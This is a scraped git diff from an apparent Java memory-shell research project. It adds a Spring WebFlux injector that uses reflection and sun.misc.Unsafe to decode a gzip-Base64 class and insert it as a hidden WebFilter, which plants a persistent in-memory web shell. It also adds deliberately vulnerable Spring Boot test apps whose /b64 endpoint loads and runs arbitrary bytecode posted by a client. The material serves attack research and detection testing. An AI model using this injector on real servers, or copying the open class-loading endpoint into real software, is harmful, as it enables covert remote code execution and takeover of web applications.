public FilteringWebHandler getWebHandler() throws Exception {
|
||||||
|
Method getThreads = Thread.class.getDeclaredMethod("getThreads");
|
||||||
|
getThreads.setAccessible(true);
|
||||||
|
Thread[] threads = (Thread[]) getThreads.invoke(null);
|
||||||
|
for (Thread thread : threads) {
|
||||||
|
if (thread.getClass().getName().contains("NettyWebServer")) {
|
||||||
|
Object nettyWebServer = getFieldValue(thread, "this$0");
|
||||||
|
Object reactorHttpHandlerAdapter = getFieldValue(nettyWebServer, "handler");
|
||||||
|
Object httpHandler = getFieldValue(reactorHttpHandlerAdapter, "httpHandler");
|
||||||
|
return (FilteringWebHandler) getFieldValue(getFieldValue(getFieldValue(httpHandler, "delegate"), "delegate"), "delegate");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
private Object getShell() throws Exception {
|
||||||
|
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||||
|
Object interceptor = null;
|
||||||
|
try {
|
||||||
|
interceptor = classLoader.loadClass(getClassName()).newInstance();
|
||||||
|
} catch (Exception e) {
|
||||||
|
byte[] clazzByte = gzipDecompress(Base64Utils.decodeFromString(getBase64String()));
|
||||||
|
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||||
|
defineClass.setAccessible(true);
|
||||||
|
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||||
|
interceptor = clazz.newInstance();
|
||||||
|
}
|
||||||
|
return interceptor;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void inject(FilteringWebHandler webHandler, Object filter) throws Exception {
|
||||||
|
DefaultWebFilterChain chain = (DefaultWebFilterChain) getFieldValue(webHandler, "chain");
|
||||||
|
List<WebFilter> filters = new ArrayList<>(chain.getFilters());
|
||||||
|
for (Object o : filters) {
|
||||||
|
if (o.getClass().getName().equals(getClassName())) {
|
||||||
|
System.out.println("filter already injected");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
filters.add(0, ((WebFilter) filter));
|
||||||
|
DefaultWebFilterChain newChain = new DefaultWebFilterChain(chain.getHandler(), filters);
|
||||||
|
setFinalField(webHandler, "chain", newChain);
|
||||||
|
System.out.println("filter inject successful");
|
||||||
|
}
|
||||||
|
|
||||||
|
public void setFinalField(Object obj, String fieldName, Object value) throws Exception {
|
||||||
|
Field field = obj.getClass().getDeclaredField(fieldName);
|
||||||
|
Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
|
||||||
|
java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
|
||||||
|
unsafeField.setAccessible(true);
|
||||||
|
Object unsafe = unsafeField.get(null);
|
||||||
|
Object offset = unsafe.getClass().getMethod("objectFieldOffset", Field.class).invoke(unsafe, field);
|
||||||
|
unsafe.getClass().getMethod("putObject", Object.class, long.class, Object.class).invoke(unsafe, obj, offset, value);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||||
|
try (ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||||
|
GZIPInputStream gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData))) {
|
||||||
|
byte[] buffer = new byte[4096];
|
||||||
|
int n;
|
||||||
|
while ((n = gzipInputStream.read(buffer)) > 0) {
|
||||||
|
out.write(buffer, 0, n);
|
||||||
|
}
|
||||||
|
return out.toByteArray();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object getFieldValue(Object obj, String name) throws Exception {
|
||||||
|
Field field = null;
|
||||||
|
Class<?> clazz = obj.getClass();
|
||||||
|
while (clazz != Object.class) {
|
||||||
|
try {
|
||||||
|
field = clazz.getDeclaredField(name);
|
||||||
|
break;
|
||||||
|
} catch (NoSuchFieldException var5) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (field == null) {
|
||||||
|
throw new NoSuchFieldException(name);
|
||||||
|
} else {
|
||||||
|
field.setAccessible(true);
|
||||||
|
return field.get(obj);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -5,9 +5,6 @@ plugins {
|
|||||||
group = 'com.reajason.javaweb'
|
group = 'com.reajason.javaweb'
|
||||||
version = ''
|
version = ''
|
||||||
|
|
||||||
repositories {
|
|
||||||
mavenCentral()
|
|
||||||
}
|
|
||||||
|
|
||||||
java {
|
java {
|
||||||
toolchain {
|
toolchain {
|
||||||
@@ -18,8 +15,6 @@ java {
|
|||||||
}
|
}
|
||||||
|
|
||||||
dependencies {
|
dependencies {
|
||||||
implementation 'org.springframework:spring-webmvc:4.3.30.RELEASE'
|
|
||||||
implementation 'org.springframework:spring-web:4.3.30.RELEASE'
|
|
||||||
implementation('org.apache.tomcat:tomcat-catalina:8.5.58') {
|
implementation('org.apache.tomcat:tomcat-catalina:8.5.58') {
|
||||||
exclude group: 'org.apache.tomcat', module: 'tomcat-api'
|
exclude group: 'org.apache.tomcat', module: 'tomcat-api'
|
||||||
exclude group: 'org.apache.tomcat', module: 'tomcat-juli'
|
exclude group: 'org.apache.tomcat', module: 'tomcat-juli'
|
||||||
|
|||||||
-1
@@ -137,7 +137,6 @@ public class TomcatServletInjector {
|
|||||||
Map<String, String> servletMappings = (Map<String, String>) getFieldValue(context, "servletMappings");
|
Map<String, String> servletMappings = (Map<String, String>) getFieldValue(context, "servletMappings");
|
||||||
Collection<String> values = servletMappings.values();
|
Collection<String> values = servletMappings.values();
|
||||||
for (String name : values) {
|
for (String name : values) {
|
||||||
System.out.println(name);
|
|
||||||
if (name.equals(getClassName())) {
|
if (name.equals(getClassName())) {
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -15,3 +15,7 @@ include 'vul:vul-webapp-jakarta'
|
|||||||
include 'vul:vul-webapp-expression'
|
include 'vul:vul-webapp-expression'
|
||||||
include 'vul:vul-springboot2'
|
include 'vul:vul-springboot2'
|
||||||
include 'vul:vul-springboot3'
|
include 'vul:vul-springboot3'
|
||||||
|
include 'vul:vul-springboot2-webflux'
|
||||||
|
include 'vul:vul-springboot3-webflux'
|
||||||
|
include 'memshell-java8'
|
||||||
|
|
||||||
|
|||||||
@@ -0,0 +1,8 @@
|
|||||||
|
FROM openjdk:8
|
||||||
|
WORKDIR /app
|
||||||
|
|
||||||
|
COPY build/libs/vul-springboot2-webflux.jar /app/vul-springboot2-webflux.jar
|
||||||
|
|
||||||
|
EXPOSE 8080
|
||||||
|
|
||||||
|
ENTRYPOINT java $JAVA_OPTS -jar vul-springboot2-webflux.jar
|
||||||
@@ -0,0 +1,13 @@
|
|||||||
|
plugins {
|
||||||
|
id 'org.springframework.boot' version '2.7.6'
|
||||||
|
id 'io.spring.dependency-management' version '1.0.15.RELEASE'
|
||||||
|
id 'java'
|
||||||
|
}
|
||||||
|
|
||||||
|
group = 'com.reajason.javaweb.vul'
|
||||||
|
version = ''
|
||||||
|
sourceCompatibility = '1.8'
|
||||||
|
|
||||||
|
dependencies {
|
||||||
|
implementation 'org.springframework.boot:spring-boot-starter-webflux'
|
||||||
|
}
|
||||||
+14
@@ -0,0 +1,14 @@
|
|||||||
|
package com.reajason.javaweb.vul.springboot2;
|
||||||
|
|
||||||
|
public class ClassDefiner extends ClassLoader {
|
||||||
|
public ClassDefiner() {
|
||||||
|
}
|
||||||
|
|
||||||
|
public ClassDefiner(ClassLoader parent) {
|
||||||
|
super(parent);
|
||||||
|
}
|
||||||
|
|
||||||
|
public Class<?> defineClass(byte[] bytes) {
|
||||||
|
return defineClass(null, bytes, 0, bytes.length);
|
||||||
|
}
|
||||||
|
}
|
||||||
+17
@@ -0,0 +1,17 @@
|
|||||||
|
package com.reajason.javaweb.vul.springboot2;
|
||||||
|
|
||||||
|
import org.springframework.boot.SpringApplication;
|
||||||
|
import org.springframework.boot.autoconfigure.SpringBootApplication;
|
||||||
|
import org.springframework.context.annotation.Bean;
|
||||||
|
import org.springframework.web.reactive.function.server.RequestPredicates;
|
||||||
|
import org.springframework.web.reactive.function.server.RouterFunction;
|
||||||
|
import org.springframework.web.reactive.function.server.RouterFunctions;
|
||||||
|
import org.springframework.web.reactive.function.server.ServerResponse;
|
||||||
|
|
||||||
|
@SpringBootApplication
|
||||||
|
public class VulSpringboot2Application {
|
||||||
|
|
||||||
|
public static void main(String[] args) {
|
||||||
|
SpringApplication.run(VulSpringboot2Application.class, args);
|
||||||
|
}
|
||||||
|
}
|
||||||
+36
@@ -0,0 +1,36 @@
|
|||||||
|
package com.reajason.javaweb.vul.springboot2.controller;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.vul.springboot2.ClassDefiner;
|
||||||
|
import org.springframework.web.bind.annotation.PostMapping;
|
||||||
|
import org.springframework.web.bind.annotation.RequestMapping;
|
||||||
|
import org.springframework.web.bind.annotation.RestController;
|
||||||
|
import org.springframework.web.server.ServerWebExchange;
|
||||||
|
import reactor.core.publisher.Mono;
|
||||||
|
|
||||||
|
import java.util.Base64;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/22
|
||||||
|
*/
|
||||||
|
@RestController
|
||||||
|
@RequestMapping("/b64")
|
||||||
|
public class Base64ClassLoaderController {
|
||||||
|
@PostMapping
|
||||||
|
public Mono<String> handleFormSubmission(ServerWebExchange exchange) {
|
||||||
|
System.out.println("hello i'm coming");
|
||||||
|
return exchange.getFormData()
|
||||||
|
.flatMap(formData -> {
|
||||||
|
String data = formData.getFirst("data");
|
||||||
|
System.out.println("b64: " + data);
|
||||||
|
byte[] bytes = Base64.getDecoder().decode(data);
|
||||||
|
Object o = null;
|
||||||
|
try {
|
||||||
|
o = new ClassDefiner(Thread.currentThread().getContextClassLoader()).defineClass(bytes).newInstance();
|
||||||
|
} catch (Exception e) {
|
||||||
|
throw new RuntimeException(e);
|
||||||
|
}
|
||||||
|
return Mono.just(o.toString());
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}
|
||||||
+23
@@ -0,0 +1,23 @@
|
|||||||
|
package com.reajason.javaweb.vul.springboot2.controller;
|
||||||
|
|
||||||
|
import org.springframework.web.bind.annotation.GetMapping;
|
||||||
|
import org.springframework.web.bind.annotation.RequestMapping;
|
||||||
|
import org.springframework.web.bind.annotation.RestController;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/22
|
||||||
|
*/
|
||||||
|
@RequestMapping
|
||||||
|
@RestController
|
||||||
|
public class IndexController {
|
||||||
|
@GetMapping("/test")
|
||||||
|
public String test() {
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
|
||||||
|
@GetMapping("/")
|
||||||
|
public String index() {
|
||||||
|
return "hello";
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,8 @@
|
|||||||
|
FROM openjdk:17
|
||||||
|
WORKDIR /app
|
||||||
|
|
||||||
|
COPY build/libs/vul-springboot3-webflux.jar /app/app.jar
|
||||||
|
|
||||||
|
EXPOSE 8080
|
||||||
|
|
||||||
|
ENTRYPOINT java $JAVA_OPTS -jar app.jar
|
||||||
@@ -0,0 +1,18 @@
|
|||||||
|
plugins {
|
||||||
|
id 'java'
|
||||||
|
id 'org.springframework.boot' version '3.3.7'
|
||||||
|
id 'io.spring.dependency-management' version '1.1.7'
|
||||||
|
}
|
||||||
|
|
||||||
|
group = 'com.reajason.javaweb.vul'
|
||||||
|
version = ''
|
||||||
|
|
||||||
|
java {
|
||||||
|
toolchain {
|
||||||
|
languageVersion = JavaLanguageVersion.of(17)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
dependencies {
|
||||||
|
implementation 'org.springframework.boot:spring-boot-starter-webflux'
|
||||||
|
}
|
||||||
+14
@@ -0,0 +1,14 @@
|
|||||||
|
package com.reajason.javaweb.vul.springboot3;
|
||||||
|
|
||||||
|
public class ClassDefiner extends ClassLoader {
|
||||||
|
public ClassDefiner() {
|
||||||
|
}
|
||||||
|
|
||||||
|
public ClassDefiner(ClassLoader parent) {
|
||||||
|
super(parent);
|
||||||
|
}
|
||||||
|
|
||||||
|
public Class<?> defineClass(byte[] code) {
|
||||||
|
return defineClass(null, code, 0, code.length);
|
||||||
|
}
|
||||||
|
}
|
||||||
+13
@@ -0,0 +1,13 @@
|
|||||||
|
package com.reajason.javaweb.vul.springboot3;
|
||||||
|
|
||||||
|
import org.springframework.boot.SpringApplication;
|
||||||
|
import org.springframework.boot.autoconfigure.SpringBootApplication;
|
||||||
|
|
||||||
|
@SpringBootApplication
|
||||||
|
public class VulSpringboot3Application {
|
||||||
|
|
||||||
|
public static void main(String[] args) {
|
||||||
|
SpringApplication.run(VulSpringboot3Application.class, args);
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
+35
@@ -0,0 +1,35 @@
|
|||||||
|
package com.reajason.javaweb.vul.springboot3.controller;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.vul.springboot3.ClassDefiner;
|
||||||
|
import org.springframework.web.bind.annotation.PostMapping;
|
||||||
|
import org.springframework.web.bind.annotation.RequestMapping;
|
||||||
|
import org.springframework.web.bind.annotation.RestController;
|
||||||
|
import org.springframework.web.server.ServerWebExchange;
|
||||||
|
import reactor.core.publisher.Mono;
|
||||||
|
|
||||||
|
import java.util.Base64;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/22
|
||||||
|
*/
|
||||||
|
@RestController
|
||||||
|
@RequestMapping("/b64")
|
||||||
|
public class Base64ClassLoaderController {
|
||||||
|
|
||||||
|
@PostMapping
|
||||||
|
public Mono<String> handleFormSubmission(ServerWebExchange exchange) {
|
||||||
|
return exchange.getFormData()
|
||||||
|
.flatMap(formData -> {
|
||||||
|
String data = formData.getFirst("data");
|
||||||
|
byte[] bytes = Base64.getDecoder().decode(data);
|
||||||
|
Object o = null;
|
||||||
|
try {
|
||||||
|
o = new ClassDefiner(Thread.currentThread().getContextClassLoader()).defineClass(bytes).newInstance();
|
||||||
|
} catch (Exception e) {
|
||||||
|
throw new RuntimeException(e);
|
||||||
|
}
|
||||||
|
return Mono.just(o.toString());
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}
|
||||||
+123
@@ -0,0 +1,123 @@
|
|||||||
|
package com.reajason.javaweb.vul.springboot3.controller;
|
||||||
|
|
||||||
|
import org.springframework.web.bind.annotation.GetMapping;
|
||||||
|
import org.springframework.web.bind.annotation.RequestMapping;
|
||||||
|
import org.springframework.web.bind.annotation.RestController;
|
||||||
|
|
||||||
|
import java.io.ByteArrayInputStream;
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
import java.lang.reflect.InvocationTargetException;
|
||||||
|
import java.lang.reflect.Method;
|
||||||
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/22
|
||||||
|
*/
|
||||||
|
@RestController
|
||||||
|
public class IndexController {
|
||||||
|
|
||||||
|
@RequestMapping("/test")
|
||||||
|
public String test() throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, IllegalAccessException {
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object invokeMethod(Object obj, String methodName) throws
|
||||||
|
Exception {
|
||||||
|
return invokeMethod(obj, methodName, new Class[0], new Object[0]);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws
|
||||||
|
Exception {
|
||||||
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
|
Method method = null;
|
||||||
|
while (clazz != null && method == null) {
|
||||||
|
try {
|
||||||
|
if (paramClazz == null) {
|
||||||
|
method = clazz.getDeclaredMethod(methodName);
|
||||||
|
} else {
|
||||||
|
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||||
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
|
}
|
||||||
|
method.setAccessible(true);
|
||||||
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static byte[] decodeBase64(String base64Str) throws Exception {
|
||||||
|
Class<?> decoderClass;
|
||||||
|
try {
|
||||||
|
decoderClass = Class.forName("java.util.Base64");
|
||||||
|
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||||
|
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||||
|
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||||
|
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||||
|
GZIPInputStream gzipInputStream = null;
|
||||||
|
|
||||||
|
try {
|
||||||
|
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
|
||||||
|
byte[] buffer = new byte[4096];
|
||||||
|
int n;
|
||||||
|
while ((n = gzipInputStream.read(buffer)) > 0) {
|
||||||
|
out.write(buffer, 0, n);
|
||||||
|
}
|
||||||
|
} finally {
|
||||||
|
if (gzipInputStream != null) {
|
||||||
|
try {
|
||||||
|
gzipInputStream.close();
|
||||||
|
} catch (IOException ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
out.close();
|
||||||
|
}
|
||||||
|
return out.toByteArray();
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
|
||||||
|
for (Class<?> clazz = obj.getClass();
|
||||||
|
clazz != Object.class;
|
||||||
|
clazz = clazz.getSuperclass()) {
|
||||||
|
try {
|
||||||
|
return clazz.getDeclaredField(name);
|
||||||
|
} catch (NoSuchFieldException ignored) {
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new NoSuchFieldException(name);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
|
||||||
|
try {
|
||||||
|
Field field = getField(obj, name);
|
||||||
|
field.setAccessible(true);
|
||||||
|
return field.get(obj);
|
||||||
|
} catch (NoSuchFieldException ignored) {
|
||||||
|
}
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
@GetMapping("/")
|
||||||
|
public String index() {
|
||||||
|
return "hello";
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1 @@
|
|||||||
|
spring.application.name=vul-springboot3
|
||||||
Reference in New Issue
Block a user